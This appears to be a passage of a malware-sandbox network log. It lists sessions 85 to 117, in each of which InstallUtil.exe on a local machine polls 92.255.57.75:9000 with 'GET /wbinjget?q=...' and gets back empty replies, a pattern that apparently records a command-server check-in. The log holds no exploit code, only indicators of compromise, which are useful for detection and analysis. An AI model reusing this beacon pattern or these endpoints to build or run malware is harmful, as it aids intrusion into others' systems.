85	192.168.2.5	50083	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:02.632102013 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:03.960472107 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50084	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:04.197253942 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:05.522331953 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50085	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:05.757185936 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:07.084311008 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50086	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:07.317337036 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:08.642119884 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50087	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:08.866211891 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:10.198992014 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50088	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:10.444078922 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:11.813842058 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50089	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:12.054445982 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:13.378550053 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50090	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:13.616127968 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:14.942918062 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50091	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:15.176362991 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:16.504072905 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50092	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:16.739967108 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:18.067332983 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50093	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:18.304023027 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:19.632416964 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50094	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:19.873577118 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:21.202207088 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50095	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:21.427122116 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:22.778284073 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50096	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:23.011042118 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:24.334280014 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50097	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:24.568253040 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:25.891889095 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50098	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:26.132164955 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:27.457293987 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50099	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:27.750053883 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:29.064306021 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50100	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:29.287029982 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:30.608213902 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50101	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:30.832690001 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:32.158000946 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50102	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:32.495968103 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:33.820800066 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50103	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:34.052572012 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:35.378011942 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50104	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:35.616674900 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:36.999444962 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50105	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:37.230185986 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:38.552614927 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50106	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:38.788796902 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:40.112593889 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50107	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:40.349580050 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:41.676765919 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50108	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:41.914901018 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:43.239497900 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50110	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:43.475554943 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:44.803023100 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50111	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:45.037708998 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:46.362709999 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50112	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:46.598972082 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:47.925827026 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50113	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:48.167969942 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:49.500154972 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50114	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:49.733284950 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:51.055495024 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50115	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:51.287729979 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:52.629050970 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50116	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:52.876306057 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
